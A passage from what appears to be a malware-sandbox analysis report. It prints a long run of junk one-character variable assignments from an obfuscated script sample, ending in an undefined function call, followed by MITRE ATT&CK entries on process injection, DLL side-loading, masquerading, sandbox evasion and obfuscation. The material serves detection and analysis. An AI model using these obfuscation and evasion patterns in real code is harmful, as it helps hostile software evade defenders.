355	vrtqrfza = "m";
356	vrtqrfza = "h";
357	vrtqrfza = "e";
358	vrtqrfza = "J";
359	vrtqrfza = "m";
360	vrtqrfza = "x";
361	vrtqrfza = "Y";
362	vrtqrfza = "c";
363	vrtqrfza = "a";
364	vrtqrfza = "S";
365	vrtqrfza = "H";
366	vrtqrfza = "Z";
367	vrtqrfza = "w";
368	lsistvcl = "A";
369	lsistvcl = "y";
370	lsistvcl = "X";
371	lsistvcl = "P";
372	lsistvcl = "t";
373	lsistvcl = "z";
374	lsistvcl = "i";
375	lsistvcl = "C";
376	lsistvcl = "e";
377	lsistvcl = "t";
378	lsistvcl = "R";
379	lsistvcl = "X";
380	lsistvcl = "g";
381	lsistvcl = "5";
382	wtilqu = "p";
383	wtilqu = "S";
384	wtilqu = "X";
385	wtilqu = "C";
386	wtilqu = "e";
387	wtilqu = "m";
388	wtilqu = "b";
389	wtilqu = "N";
390	wtilqu = "m";
391	wtilqu = "f";
392	wtilqu = "a";
393	wtilqu = "L";
394	wtilqu = "b";
395	wtilqu = "d";
396	wtilqu = "F";
397	wtilqu = "y";
398	wtilqu = "W";
399	wtilqu = "C";
400	wtilqu = "r";
401	wtilqu = "d";
402	wtilqu = "V";
403	wtilqu = "G";
404	wtilqu = "c";
405	wtilqu = "p";
406	wtilqu = "K";
407	wtilqu = "b";
408	wtilqu = "s";
409	pnfhn = "E";
410	pnfhn = "u";
411	pnfhn = "C";
412	pnfhn = "n";
413	pnfhn = "C";
414	pnfhn = "L";
415	pnfhn = "M";
416	pnfhn = "g";
417	pnfhn = "k";
418	pnfhn = "l";
419	pnfhn = "c";
420	pnfhn = "c";
421	pnfhn = "r";
422	pnfhn = "T";
423	pnfhn = "c";
424	pnfhn = "w";
425	pnfhn = "J";
426	pnfhn = "Z";
427	pnfhn = "u";
428	pnfhn = "z";
429	pnfhn = "o";
430	pnfhn = "A";
431	pnfhn = "f";
432	pnfhn = "Z";
433	pnfhn = "V";
434	pnfhn = "o";
435	pnfhn = "x";
436	pnfhn = "r";
437	pnfhn = "g";
438	pnfhn = "D";
439	pnfhn = "y";
440	pnfhn = "K";
441	pnfhn = "K";
442	pnfhn = "K";
443	pnfhn = "x";
444	dhzjgrbi = "G";
445	dhzjgrbi = "k";
446	dhzjgrbi = "y";
447	dhzjgrbi = "G";
448	dhzjgrbi = "s";
449	dhzjgrbi = "Q";
450	dhzjgrbi = "q";
451	dhzjgrbi = "k";
452	dhzjgrbi = "p";
453	dhzjgrbi = "G";
454	dhzjgrbi = "v";
455	dhzjgrbi = "y";
456	dhzjgrbi = "w";
457	dhzjgrbi = "n";
458	dhzjgrbi = "q";
459	dhzjgrbi = "Q";
460	dhzjgrbi = "K";
461	dhzjgrbi = "v";
462	dhzjgrbi = "a";
463	dhzjgrbi = "U";
464	dhzjgrbi = "T";
465	dhzjgrbi = "Y";
466	dhzjgrbi = "e";
467	dhzjgrbi = "v";
468	dhzjgrbi = "r";
469	dhzjgrbi = "t";
470	gpnkhz = "x";
471	gpnkhz = "V";
472	gpnkhz = "u";
473	gpnkhz = "G";
474	gpnkhz = "v";
475	gpnkhz = "q";
476	gpnkhz = "t";
477	gpnkhz = "h";
478	gpnkhz = "y";
479	gpnkhz = "S";
480	gpnkhz = "k";
481	gpnkhz = "C";
482	gpnkhz = "e";
483	gpnkhz = "H";
484	gpnkhz = "a";
485	gpnkhz = "v";
486	gpnkhz = "s";
487	gpnkhz = "m";
488	gpnkhz = "X";
489	gpnkhz = "w";
490	gpnkhz = "K";
491	gpnkhz = "u";
492	gpnkhz = "q";
493	gpnkhz = "B";
494	gpnkhz = "V";
495	gpnkhz = "U";
496	gpnkhz = "Y";
497	gpnkhz = "V";
498	gpnkhz = "1";
499	dllubty = "P";
500	dllubty = "Z";
501	dllubty = "r";
502	bgimpjwoj = "i";
503	bgimpjwoj = "c";
504	bgimpjwoj = "A";
505	bgimpjwoj = "R";
506	bgimpjwoj = "r";
507	bgimpjwoj = "Z";
508	bgimpjwoj = "M";
509	bgimpjwoj = "V";
510	bgimpjwoj = "e";
511	bgimpjwoj = "T";
512	bgimpjwoj = "O";
513	bgimpjwoj = "g";
514	bgimpjwoj = "L";
515	bgimpjwoj = "P";
516	bgimpjwoj = "I";
517	bgimpjwoj = "a";
518	bgimpjwoj = "m";
519	bgimpjwoj = "l";
520	bgimpjwoj = "K";
521	bgimpjwoj = "a";
522	bgimpjwoj = "H";
523	ujwmiby = "Z";
524	ujwmiby = "V";
525	ujwmiby = "J";
526	ujwmiby = "l";
527	ujwmiby = "t";
528	ujwmiby = "i";
529	ujwmiby = "N";
530	ujwmiby = "i";
531	ujwmiby = "b";
532	ujwmiby = "F";
533	ujwmiby = "e";
534	ujwmiby = "o";
535	ujwmiby = "s";
536	ujwmiby = "a";
537	ujwmiby = "q";
538	ujwmiby = "S";
539	ujwmiby = "H";
540	ujwmiby = "o";
541	ujwmiby = "D";
542	ujwmiby = "l";
543	ujwmiby = "F";
544	ujwmiby = "F";
545	ujwmiby = "t";
546	ujwmiby = "V";
547	ujwmiby = "q";
548	ujwmiby = "E";
549	ujwmiby = "s";
550	ujwmiby = "T";
551	ujwmiby = "t";
552	ujwmiby = "Q";
553	ujwmiby = "K";
554	ujwmiby = "k";
555	ujwmiby = "b";
556	ujwmiby = "G";
557	ujwmiby = "O";
558	ujwmiby = "X";
559	ujwmiby = "v";
560	gjigbnvj = "y";
561	gjigbnvj = "j";
562	gjigbnvj = "i";
563	gjigbnvj = "M";
564	gjigbnvj = "w";
565	gjigbnvj = "t";
566	gjigbnvj = "j";
567	gjigbnvj = "h";
568	gjigbnvj = "e";
569	gjigbnvj = "i";
570	gjigbnvj = "M";
571	gjigbnvj = "v";
572	gjigbnvj = "J";
573	gjigbnvj = "i";
574	gjigbnvj = "j";
575	gjigbnvj = "n";
576	gjigbnvj = "F";
577	bqste = "s";
578	bqste = "s";
579	bqste = "Y";
580	bqste = "F";
581	bqste = "x";
582	bqste = "H";
583	bqste = "H";
584	bqste = "V";
585	bqste = "q";
586	bqste = "t";
587	bqste = "a";
588	bqste = "A";
589	bqste = "I";
590	bqste = "p";
591	bqste = "Y";
592	bqste = "O";
593	bqste = "V";
594	bqste = "E";
595	bqste = "P";
596	bqste = "b";
597	bqste = "O";
598	bqste = "v";
599	bqste = "t";
600	bqste = "n";
601	bqste = "s";
602	bqste = "J";
603	bqste = "L";
604	bqste = "N";
605	bqste = "m";
606	bqste = "T";
607	bqste = "K";
608	bqste = "E";
609	bqste = "U";
610	bqste = "g";
611	bqste = "g";
612	bqste = "P";
613	enlgzfwx = "c";
614	rqfyz = "s";
615	rqfyz = "I";
616	rqfyz = "i";
617	rqfyz = "d";
618	rqfyz = "K";
619	rqfyz = "c";
620	rqfyz = "m";
621	rqfyz = "r";
622	rqfyz = "z";
623	rqfyz = "y";
624	rqfyz = "C";
625	rqfyz = "z";
626	rqfyz = "p";
627	rqfyz = "E";
628	rqfyz = "N";
629	rqfyz = "e";
630	rqfyz = "P";
631	rqfyz = "f";
632	rqfyz = "w";
633	rqfyz = "C";
634	rqfyz = "N";
635	rqfyz = "x";
636	rqfyz = "S";
637	rqfyz = "a";
638	rqfyz = "V";
639	rqfyz = "h";
640	rqfyz = "D";
641	rqfyz = "Y";
642	rqfyz = "y";
643	rqfyz = "h";
644	rqfyz = "N";
645	rqfyz = "S";
646	pgwrnsn = "w";
647	pgwrnsn = "c";
648	pgwrnsn = "J";
649	pgwrnsn = "h";
650	pgwrnsn = "T";
651	pgwrnsn = "U";
652	pgwrnsn = "u";
653	pgwrnsn = "t";
654	pgwrnsn = "l";
655	pgwrnsn = "Y";
656	pgwrnsn = "k";
657	pgwrnsn = "V";
658	pgwrnsn = "I";
659	pgwrnsn = "i";
660	pgwrnsn = "Y";
661	pgwrnsn = "o";
662	pgwrnsn = "H";
663	pgwrnsn = "y";
664	pgwrnsn = "i";
665	hqfehuez = "k";
666	hqfehuez = "i";
667	hqfehuez = "g";
668	hqfehuez = "U";
669	hqfehuez = "F";
670	hqfehuez = "Q";
671	hqfehuez = "o";
672	hqfehuez = "S";
673	hqfehuez = "O";
674	hqfehuez = "k";
675	hqfehuez = "d";
676	hqfehuez = "l";
677	hqfehuez = "k";
678	hqfehuez = "J";
679	hqfehuez = "O";
680	hqfehuez = "j";
681	hqfehuez = "r";
682	hqfehuez = "L";
683	hqfehuez = "h";
684	hqfehuez = "J";
685	hqfehuez = "v";
686	hqfehuez = "D";
687	hqfehuez = "U";
688	jdsajredh = "M";
689	jdsajredh = "W";
690	jdsajredh = "t";
691	jdsajredh = "b";
692	jdsajredh = "H";
693	jdsajredh = "W";
694	jdsajredh = "x";
695	jdsajredh = "H";
696	jdsajredh = "c";
697	jdsajredh = "T";
698	jdsajredh = "B";
699	jdsajredh = "T";
700	jdsajredh = "f";
701	jdsajredh = "c";
702	jdsajredh = "b";
703	jdsajredh = "t";
704	jdsajredh = "E";
705	jdsajredh = "D";
706	jdsajredh = "W";
707	jdsajredh = "K";
708	jdsajredh = "B";
709	jdsajredh = "r";
710	jdsajredh = "R";
711	jdsajredh = "t";
712	jdsajredh = "j";
713	jdsajredh = "N";
714	jdsajredh = "H";
715	jdsajredh = "E";
716	jdsajredh = "9";
717	wkufjanxw = "p";
718	wkufjanxw = "n";
719	wkufjanxw = "j";
720	wkufjanxw = "x";
721	wkufjanxw = "A";
722	wkufjanxw = "t";
723	wkufjanxw = "q";
724	wkufjanxw = "o";
725	wkufjanxw = "x";
726	wkufjanxw = "I";
727	wkufjanxw = "V";
728	wkufjanxw = "r";
729	wkufjanxw = "d";
730	wkufjanxw = "J";
731	wkufjanxw = "t";
732	wkufjanxw = "N";
733	hkzdp = "O";
734	hkzdp = "z";
735	hkzdp = "0";
736	vuekagnno = "4";
737	qskyscbhu = "P";
738	qskyscbhu = "r";
739	qskyscbhu = "G";
740	qskyscbhu = "B";
741	qskyscbhu = "W";
742	qskyscbhu = "n";
743	qskyscbhu = "f";
744	qskyscbhu = "p";
745	qskyscbhu = "A";
746	qskyscbhu = "H";
747	qskyscbhu = "E";
748	qskyscbhu = "d";
749	qskyscbhu = "o";
750	qskyscbhu = "U";
751	qskyscbhu = "X";
752	qskyscbhu = "v";
753	qskyscbhu = "Z";
754	qskyscbhu = "y";
755	qskyscbhu = "G";
756	qskyscbhu = "Q";
757	qskyscbhu = "Y";
758	qskyscbhu = "Y";
759	qskyscbhu = "x";
760	qskyscbhu = "L";
761	qskyscbhu = "e";
762	qskyscbhu = "O";
763	qskyscbhu = "s";
764	qskyscbhu = "H";
765	qskyscbhu = "R";
766	qskyscbhu = "R";
767	qskyscbhu = "O";
768	qskyscbhu = "V";
769	qskyscbhu = "G";
770	qskyscbhu = "n";
771	qskyscbhu = "K";
772	qskyscbhu = "a";
773	qskyscbhu = "N";
774	qskyscbhu = "C";
775	qskyscbhu = "d";
776	ghwkz = "F";
777	ghwkz = "W";
778	khntw = "n";
779	khntw = "H";
780	khntw = "k";
781	khntw = "k";
782	khntw = "y";
783	khntw = "Y";
784	khntw = "b";
785	khntw = "v";
786	khntw = "D";
787	khntw = "j";
788	khntw = "d";
789	khntw = "e";
790	khntw = "t";
791	khntw = "H";
792	khntw = "N";
793	khntw = "I";
794	khntw = "i";
795	khntw = "O";
796	khntw = "c";
797	khntw = "a";
798	poruprer = "c";
799	poruprer = "b";
800	poruprer = "I";
801	poruprer = "Y";
802	poruprer = "y";
803	poruprer = "q";
804	poruprer = "S";
805	poruprer = "i";
806	poruprer = "D";
807	poruprer = "Z";
808	poruprer = "V";
809	poruprer = "u";
810	poruprer = "K";
811	poruprer = "T";
812	poruprer = "c";
813	poruprer = "X";
814	poruprer = "o";
815	nyxqfjqc = "B";
816	nyxqfjqc = "a";
817	nyxqfjqc = "J";
818	nyxqfjqc = "T";
819	nyxqfjqc = "N";
820	nyxqfjqc = "k";
821	nyxqfjqc = "q";
822	jscirbvb = "A";
823	jscirbvb = "n";
824	ototjshc = "k";
825	ototjshc = "P";
826	ototjshc = "j";
827	ototjshc = "M";
828	ototjshc = "A";
829	ototjshc = "V";
830	ototjshc = "f";
831	ototjshc = "t";
832	ototjshc = "n";
833	ototjshc = "A";
834	ototjshc = "o";
835	ototjshc = "m";
836	ototjshc = "O";
837	ototjshc = "n";
838	ototjshc = "e";
839	ototjshc = "V";
840	ototjshc = "k";
841	ototjshc = "N";
842	ototjshc = "E";
843	ototjshc = "m";
844	ototjshc = "o";
845	ototjshc = "D";
846	ototjshc = "d";
847	ototjshc = "x";
848	ototjshc = "f";
849	ototjshc = "f";
850	ototjshc = "f";
851	ototjshc = "U";
852	ototjshc = "o";
853	ototjshc = "i";
854	ototjshc = "W";
855	ototjshc = "n";
856	ototjshc = "q";
857	ototjshc = "I";
858	ototjshc = "O";
859	ototjshc = "I";
860	ototjshc = "Z";
861	ototjshc = "G";
862	ototjshc = ":";
863	sttniun = "K";
864	sttniun = "h";
865	sttniun = "b";
866	sttniun = "u";
867	sttniun = "X";
868	sttniun = "K";
869	sttniun = "E";
870	sttniun = "J";
871	sttniun = "x";
872	sttniun = "R";
873	ieclud = "Z";
874	ieclud = "r";
875	ieclud = "s";
876	ieclud = "T";
877	ieclud = "T";
878	ieclud = "g";
879	ieclud = "j";
880	ieclud = "Q";
881	ieclud = "M";
882	ieclud = "H";
883	ieclud = "F";
884	ieclud = "w";
885	ieclud = "w";
886	ieclud = "i";
887	ieclud = "g";
888	ieclud = "C";
889	ieclud = "x";
890	ieclud = "Z";
891	ieclud = "M";
892	ieclud = "k";
893	ieclud = "k";
894	ieclud = "F";
895	ieclud = "a";
896	ieclud = "h";
897	ieclud = "x";
898	ieclud = "l";
899	ieclud = "d";
900	ieclud = "P";
901	ieclud = "i";
902	ieclud = "j";
903	ieclud = "K";
904	ieclud = "N";
905	ieclud = "n";
906	ieclud = "j";
907	wzbwim = "r";
908	wzbwim = "c";
909	wzbwim = "j";
910	wzbwim = "x";
911	wzbwim = "X";
912	wzbwim = "p";
913	wzbwim = "W";
914	wzbwim = "g";
915	wzbwim = "D";
916	wzbwim = "O";
917	wzbwim = "p";
918	wzbwim = "x";
919	wzbwim = "p";
920	wzbwim = "f";
921	wzbwim = "h";
922	wzbwim = "I";
923	wzbwim = "O";
924	wzbwim = "n";
925	wzbwim = "s";
926	wzbwim = "Y";
927	wzbwim = "S";
928	wzbwim = "M";
929	wzbwim = "E";
930	sjizu = "Y";
931	sjizu = "b";
932	sjizu = "o";
933	sjizu = "m";
934	sjizu = "P";
935	sjizu = "G";
936	sjizu = "p";
937	sjizu = "e";
938	sjizu = "v";
939	sjizu = "c";
940	sjizu = "y";
941	sjizu = "t";
942	sjizu = "Y";
943	sjizu = "w";
944	sjizu = "U";
945	sjizu = "v";
946	sjizu = "O";
947	sjizu = "u";
948	sjizu = "L";
949	sjizu = "A";
950	sjizu = "Y";
951	sjizu = "A";
952	sjizu = "P";
953	sjizu = "U";
954	sjizu = "b";
955	sjizu = "i";
956	sjizu = "D";
957	sjizu = "z";
958	sjizu = "D";
959	sjizu = "I";
960	sjizu = "k";
961	sjizu = "a";
962	sjizu = "q";
963	sjizu = "C";
964	sjizu = "J";
965	sjizu = "v";
966	sjizu = "L";
967	lpyxfy = "S";
968	lpyxfy = "a";
969	lpyxfy = "W";
970	lpyxfy = "x";
971	lpyxfy = "Z";
972	lpyxfy = "B";
973	lpyxfy = "l";
974	lpyxfy = "e";
975	lpyxfy = "M";
976	lpyxfy = "x";
977	lpyxfy = "8";
978	sebbh = "H";
979	sebbh = "C";
980	sebbh = "V";
981	sebbh = "h";
982	sebbh = "I";
983	sebbh = "F";
984	sebbh = "e";
985	sebbh = "I";
986	sebbh = "P";
987	sebbh = "U";
988	sebbh = "v";
989	sebbh = "L";
990	sebbh = "B";
991	sebbh = "V";
992	sebbh = "N";
993	sebbh = "L";
994	sebbh = "h";
995	sebbh = "R";
996	sebbh = "F";
997	sebbh = "H";
998	sebbh = "v";
999	sebbh = "S";
1000	sebbh = "g";
1001	sebbh = "a";
1002	sebbh = "b";
1003	sebbh = "G";
1004	sebbh = "M";
1005	sebbh = "u";
1006	sebbh = "C";
1007	sebbh = "I";
1008	sebbh = "y";
1009	sebbh = "F";
1010	sebbh = "k";
1011	wcaezvozq = "t";
1012	wcaezvozq = "r";
1013	wcaezvozq = "u";
1014	wcaezvozq = "B";
1015	wcaezvozq = "T";
1016	wcaezvozq = "t";
1017	wcaezvozq = "F";
1018	wcaezvozq = "k";
1019	wcaezvozq = "Q";
1020	wcaezvozq = "Y";
1021	wcaezvozq = "d";
1022	wcaezvozq = "G";
1023	wcaezvozq = "J";
1024	wcaezvozq = "B";
1025	wcaezvozq = "J";
1026	wcaezvozq = "W";
1027	wcaezvozq = "D";
1028	wcaezvozq = "W";
1029	wcaezvozq = "A";
1030	wcaezvozq = "J";
1031	wcaezvozq = "G";
1032	wcaezvozq = "l";
1033	wcaezvozq = "J";
1034	wcaezvozq = "K";
1035	wcaezvozq = "g";
1036	wcaezvozq = "V";
1037	wcaezvozq = "L";
1038	wcaezvozq = "R";
1039	wcaezvozq = "S";
1040	wcaezvozq = "z";
1041	wcaezvozq = "b";
1042	wcaezvozq = "Z";
1043	wcaezvozq = "P";
1044	wcaezvozq = "a";
1045	wcaezvozq = "G";
1046	wcaezvozq = "d";
1047	wcaezvozq = "k";
1048	wcaezvozq = "j";
1049	wcaezvozq = "i";
1050	wcaezvozq = "x";
1051	wcaezvozq = "g";
1052	wcaezvozq = "K";
1053	xpszxasc = "d";
1054	xpszxasc = "N";
1055	xpszxasc = "T";
1056	xpszxasc = "X";
1057	xpszxasc = "U";
1058	xpszxasc = "d";
1059	xpszxasc = "J";
1060	xpszxasc = "e";
1061	xpszxasc = "P";
1062	xpszxasc = "a";
1063	xpszxasc = "a";
1064	xpszxasc = "j";
1065	xpszxasc = "a";
1066	xpszxasc = "x";
1067	xpszxasc = "P";
1068	xpszxasc = "B";
1069	xpszxasc = "D";
1070	xpszxasc = "u";
1071	xpszxasc = "Z";
1072	xpszxasc = "B";
1073	xpszxasc = "J";
1074	xpszxasc = "W";
1075	xpszxasc = "x";
1076	xpszxasc = "r";
1077	xpszxasc = "h";
1078	xpszxasc = "c";
1079	xpszxasc = "y";
1080	xpszxasc = "M";
1081	xpszxasc = "X";
1082	xpszxasc = "j";
1083	xpszxasc = "E";
1084	xpszxasc = "c";
1085	xpszxasc = "Z";
1086	xpszxasc = "J";
1087	xpszxasc = "6";
1088	sosra = "p";
1089	sosra = "J";
1090	sosra = "r";
1091	sosra = "X";
1092	sosra = "l";
1093	hoftydug = "T";
1094	hoftydug = "L";
1095	hoftydug = "n";
1096	hoftydug = "c";
1097	hoftydug = "S";
1098	hoftydug = "M";
1099	hoftydug = "z";
1100	hoftydug = "T";
1101	hoftydug = "Q";
1102	fcwnqb = "B";
1103	fcwnqb = "o";
1104	fcwnqb = "z";
1105	fcwnqb = "t";
1106	fcwnqb = "U";
1107	fcwnqb = "w";
1108	fcwnqb = "u";
1109	fcwnqb = "j";
1110	fcwnqb = "O";
1111	fcwnqb = "B";
1112	fcwnqb = "u";
1113	fcwnqb = "p";
1114	fcwnqb = "k";
1115	fcwnqb = "g";
1116	fcwnqb = "o";
1117	fcwnqb = "V";
1118	fcwnqb = "H";
1119	fcwnqb = "X";
1120	fcwnqb = "h";
1121	fcwnqb = "X";
1122	fcwnqb = "g";
1123	fcwnqb = "G";
1124	fcwnqb = "X";
1125	fcwnqb = "o";
1126	fcwnqb = "j";
1127	fcwnqb = "f";
1128	fcwnqb = "j";
1129	fcwnqb = "P";
1130	fcwnqb = "w";
1131	fcwnqb = "m";
1132	fcwnqb = "a";
1133	fcwnqb = "J";
1134	fcwnqb = "u";
1135	fcwnqb = "J";
1136	fcwnqb = "Q";
1137	fcwnqb = "P";
1138	fcwnqb = "j";
1139	fcwnqb = "a";
1140	fcwnqb = "B";
1141	fcwnqb = "F";
1142	fcwnqb = "Q";
1143	fcwnqb = "q";
1144	fcwnqb = "M";
1145	fcwnqb = "g";
1146	jwoemo = "X";
1147	jwoemo = "U";
1148	jwoemo = "N";
1149	jwoemo = "W";
1150	jwoemo = "s";
1151	jwoemo = "f";
1152	gyhwzyjvl = "M";
1153	gyhwzyjvl = "p";
1154	gyhwzyjvl = "z";
1155	gyhwzyjvl = "b";
1156	gyhwzyjvl = "A";
1157	gyhwzyjvl = "P";
1158	gyhwzyjvl = "u";
1159	gyhwzyjvl = "d";
1160	gyhwzyjvl = "f";
1161	gyhwzyjvl = "F";
1162	gyhwzyjvl = "U";
1163	gyhwzyjvl = "Y";
1164	gyhwzyjvl = "f";
1165	gyhwzyjvl = "E";
1166	gyhwzyjvl = "B";
1167	gyhwzyjvl = "c";
1168	gyhwzyjvl = "h";
1169	gyhwzyjvl = "n";
1170	gyhwzyjvl = "F";
1171	gyhwzyjvl = "Z";
1172	gyhwzyjvl = "U";
1173	gyhwzyjvl = "V";
1174	gyhwzyjvl = "o";
1175	gyhwzyjvl = "j";
1176	gyhwzyjvl = "%";
1177	ifiyreyy = "Y";
1178	ifiyreyy = "x";
1179	ifiyreyy = "X";
1180	ifiyreyy = "q";
1181	ifiyreyy = "a";
1182	ifiyreyy = "P";
1183	ifiyreyy = "T";
1184	ifiyreyy = ".";
1185	xaoyoyk = "t";
1186	xaoyoyk = "B";
1187	xaoyoyk = "r";
1188	xaoyoyk = "g";
1189	xaoyoyk = "O";
1190	xaoyoyk = "G";
1191	xaoyoyk = "C";
1192	xaoyoyk = "P";
1193	xaoyoyk = "b";
1194	xaoyoyk = "Q";
1195	xaoyoyk = "n";
1196	xaoyoyk = "I";
1197	xaoyoyk = "O";
1198	xaoyoyk = "N";
1199	xaoyoyk = "s";
1200	xaoyoyk = "l";
1201	xaoyoyk = "M";
1202	xaoyoyk = "c";
1203	xaoyoyk = "m";
1204	xaoyoyk = "m";
1205	xaoyoyk = "o";
1206	xaoyoyk = "J";
1207	xaoyoyk = "Y";
1208	xaoyoyk = "G";
1209	xaoyoyk = "M";
1210	xaoyoyk = "x";
1211	xaoyoyk = "G";
1212	xaoyoyk = "Q";
1213	xaoyoyk = "&";
1214	ccyzi = "L";
1215	ccyzi = "x";
1216	ccyzi = "n";
1217	ccyzi = "c";
1218	ccyzi = "O";
1219	ccyzi = "W";
1220	ccyzi = "S";
1221	ccyzi = "k";
1222	ccyzi = "c";
1223	ccyzi = "Y";
1224	ccyzi = "y";
1225	ccyzi = "S";
1226	ccyzi = "z";
1227	ccyzi = "e";
1228	ccyzi = "f";
1229	ccyzi = "w";
1230	ccyzi = "G";
1231	ccyzi = "h";
1232	ccyzi = "e";
1233	ccyzi = "h";
1234	ccyzi = "l";
1235	ccyzi = "i";
1236	ccyzi = "N";
1237	ccyzi = "X";
1238	ccyzi = "A";
1239	ccyzi = "i";
1240	ccyzi = "h";
1241	ccyzi = "F";
1242	ccyzi = "e";
1243	ccyzi = "e";
1244	ccyzi = "e";
1245	ozjpja = "Z";
1246	ozjpja = "C";
1247	ozjpja = "h";
1248	ozjpja = "P";
1249	ozjpja = "k";
1250	ozjpja = "w";
1251	ozjpja = "p";
1252	zwxtdj = "K";
1253	zwxtdj = "t";
1254	zwxtdj = "P";
1255	zwxtdj = "b";
1256	zwxtdj = "K";
1257	zwxtdj = "T";
1258	zwxtdj = "j";
1259	zwxtdj = "Y";
1260	zwxtdj = "N";
1261	zwxtdj = "a";
1262	zwxtdj = "m";
1263	hkwnby = "j";
1264	hkwnby = "L";
1265	hkwnby = "R";
1266	hkwnby = "v";
1267	hkwnby = "z";
1268	hkwnby = "I";
1269	hkwnby = "b";
1270	hkwnby = "j";
1271	hkwnby = "V";
1272	hkwnby = "q";
1273	hkwnby = "u";
1274	hkwnby = "X";
1275	hkwnby = "R";
1276	hkwnby = "k";
1277	hkwnby = "X";
1278	hkwnby = "e";
1279	hkwnby = "g";
1280	hkwnby = "T";
1281	hkwnby = "X";
1282	hkwnby = "Y";
1283	hkwnby = "q";
1284	hkwnby = "p";
1285	hkwnby = "D";
1286	hkwnby = "b";
1287	hkwnby = "X";
1288	hkwnby = "Z";
1289	hkwnby = "S";
1290	hkwnby = "n";
1291	hkwnby = "d";
1292	hkwnby = "x";
1293	hkwnby = "V";
1294	hkwnby = "P";
1295	hkwnby = "l";
1296	hkwnby = "h";
1297	hkwnby = "B";
1298	hkwnby = "7";
1299	ppeeqoy = "Q";
1300	ppeeqoy = "t";
1301	ppeeqoy = "z";
1302	ppeeqoy = "h";
1303	ppeeqoy = "W";
1304	ppeeqoy = "R";
1305	ppeeqoy = "Y";
1306	ppeeqoy = "o";
1307	ppeeqoy = "l";
1308	ppeeqoy = "R";
1309	ppeeqoy = "l";
1310	ppeeqoy = "n";
1311	ppeeqoy = " ";
1312	ujfmczsd ( );	ujfmczsd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

